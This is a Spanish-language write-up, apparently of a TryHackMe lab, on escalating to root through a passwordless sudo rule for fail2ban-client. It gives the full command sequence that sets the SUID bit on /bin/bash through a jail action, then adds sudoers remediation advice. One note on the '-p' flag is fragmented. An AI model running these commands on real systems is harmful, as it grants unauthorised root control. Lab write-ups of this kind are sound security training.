Conocer las debilidades de un sistema es el primer paso para protegerlo. En este artículo analizamos cómo una configuración incorrecta de permisos en Fail2Ban-Client permite que cualquier usuario escale sus privilegios hasta obtener acceso de administrador (root) en un sistema Linux, todo ello sin conocer la contraseña de root.
Este análisis está basado en la fase de post-explotación de la máquina "Billing" de la plataforma TryHackMe.
1. ¿Qué es Fail2Ban y para qué sirve?
Fail2Ban es una herramienta de seguridad para sistemas Linux que protege contra ataques de fuerza bruta. Monitoriza los archivos de registro del sistema (logs de intentos de autenticación fallidos, por ejemplo) y bloquea automáticamente las direcciones IP que muestran comportamiento sospechoso, aplicando reglas de firewall.
Fail2Ban-Client es la interfaz de línea de comandos que permite al administrador del sistema interactuar con el servicio: consultar el estado, añadir reglas, configurar acciones y gestionar bloqueos.
2. Recopilación de información: ¿qué puede hacer nuestro usuario?
Verificar permisos sudo del usuario actual
Una vez dentro del sistema, el primer paso es ejecutar:
sudo -l
El resultado revela una configuración crítica: cualquier usuario del sistema puede ejecutar
/usr/bin/fail2ban-client con privilegios de root sin necesidad de contraseña.
Esto es exactamente lo que necesitamos para la escalada.
Confirmar el tipo de archivo
file /usr/bin/fail2ban-client
3. Cómo funciona Fail2Ban por dentro
Fail2Ban organiza sus reglas en JAILs (cárceles). Cada jail monitoriza un servicio específico (SSH, Apache, Postfix…) y define:
- Los archivos de log que vigila.
- Los filtros que determinan qué eventos son sospechosos.
- Las acciones a ejecutar cuando se cumple una condición (bloquear una IP, ejecutar un comando…).
La clave de la vulnerabilidad está en que las acciones pueden ejecutar comandos del sistema, y dado que el script corre como root, esos comandos también se ejecutan como root.
Parámetros clave para la explotación
status <JAIL>— Ver el estado de un jail.set <JAIL> addaction <ACT>— Añadir una acción al jail.set <JAIL> action <ACT> actionban <CMD>— Definir qué comando ejecutará la acción al banear.set <JAIL> banip <IP>— Forzar el baneo de una IP (activa las acciones).
4. Prueba de concepto (PoC): escalada a root paso a paso
Ver los jails activos: elegiremos el jail SSH (sshd) para crear nuestra acción maliciosa.
Comprobar estado del jail sshd para ver su configuración actual.
Añadir una acción llamada "test" al jail sshd.
Definir el comando malicioso para esa acción: añadir el bit SUID a /bin/bash.
Forzar un baneo para activar la acción y que se ejecute el comando.
Ejecutar bash con el flag -p para lanzar una shell con privilegios de root.
Comandos ejecutados
sudo /usr/bin/fail2ban-client status
# → Muestra los jails disponibles. Usaremos: sshd
sudo /usr/bin/fail2ban-client status sshd
# → Estado actual del jail sshd
sudo /usr/bin/fail2ban-client set sshd addaction test
# → Añadimos la acción "test" al jail sshd
sudo /usr/bin/fail2ban-client set sshd action test actionban "chmod +s /bin/bash"
# → Cuando se banee una IP, se ejecutará "chmod +s /bin/bash" como root
# → El bit SUID permite ejecutar bash con los privilegios del propietario (root)
sudo /usr/bin/fail2ban-client get sshd action test actionban
# → Verificamos que el comando está registrado correctamente
sudo /usr/bin/fail2ban-client set sshd banip 1.2.3.4
# → Baneamos una IP ficticia para activar la acción
ls -la /bin/bash
# → Verificamos que /bin/bash ahora tiene el bit SUID activo (-rwsr-xr-x)
/bin/bash -p
# → Lanzamos una shell bash privilegiada → ¡somos root!
-p
de bash preserva el UID efectivo (root) solo cuando hay un proceso padre con permisos
suficientes. El método del bit SUID es el que realmente funciona en este contexto.
5. Cómo corregir la vulnerabilidad
🔐 Restringir permisos sudo
Editar /etc/sudoers con visudo y eliminar la regla que permite ejecutar fail2ban-client sin contraseña a todos los usuarios.
🔐 Asegurar el archivo
Ejecutar chown root:root /usr/bin/fail2ban-client y chmod 700 /usr/bin/fail2ban-client para que solo root pueda ejecutarlo.
📦 Principio de mínimo privilegio
Cada usuario solo debe tener los permisos estrictamente necesarios para su función. Los permisos excesivos son una de las principales causas de escalada de privilegios.
📊 Monitorización continua
Revisar periódicamente los permisos sudo activos con auditorías regulares. La monitorización de comportamiento anómalo puede detectar intentos de explotación.
Comando de corrección en sudoers
# Abrir el editor de sudoers de forma segura:
sudo visudo
# Buscar y ELIMINAR líneas como:
ALL ALL=(ALL) NOPASSWD: /usr/bin/fail2ban-client
# Si se necesita permitir solo al usuario administrador:
admin ALL=(root) NOPASSWD: /usr/bin/fail2ban-client
Conclusión
Esta vulnerabilidad demuestra que los problemas de seguridad no siempre están en el software en sí, sino en cómo se configura. Fail2Ban es una herramienta legítima y útil; el problema es permitir que cualquier usuario la ejecute como root sin contraseña.
Aplicar el principio de mínimo privilegio, revisar los permisos sudo periódicamente y realizar pruebas de penetración regulares son las medidas más efectivas para prevenir este tipo de escaladas antes de que un atacante real las explote.